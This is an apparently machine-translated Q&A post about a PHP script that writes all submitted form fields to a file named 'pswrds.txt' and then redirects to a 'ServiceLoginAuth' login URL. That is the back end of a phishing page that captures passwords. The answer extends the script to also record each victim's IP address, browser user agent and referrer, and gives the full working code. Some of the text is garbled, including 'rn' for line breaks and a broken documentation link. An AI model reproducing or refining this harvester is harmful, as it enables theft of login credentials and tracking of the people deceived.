以下代码将某些信息保存到pswrds.txt:
<?php
header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "rn");
}
fwrite($handle, "rn");
fclose($handle);
exit;
?>
如何获得代码也保存IP,用户代理&amp;推荐人?
$ip = $_SERVER['REMOTE_ADDR'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$referrer = $_SERVER['HTTP_REFERER'];
您可以将$ _ post分配给本地范围中的变量,然后将您想要的变量添加到数组:
$post = $_POST;
$post['ip'] = $_SERVER['REMOTE_ADDR'];
$post['browser'] = $_SERVER['HTTP_USER_AGENT'];
$post['referrer'] = $_SERVER['HTTP_REFERER'];
然后像现在一样进行循环,但要迭代$ post而不是$ _post。
注意:还应该自己停止硬编码新线字符,而是使用php_eol。http://php.net/manual/en/erseved.constants.php#constant.php-eol
update
<?php
header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth ");
$handle = fopen("pswrds.txt", "a");
$post = $_POST;
$post['ip'] = $_SERVER['REMOTE_ADDR'];
$post['browser'] = $_SERVER['HTTP_USER_AGENT'];
$post['referrer'] = $_SERVER['HTTP_REFERER'];
foreach($post as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, PHP_EOL);
}
fwrite($handle, PHP_EOL);
fclose($handle);
exit;
?>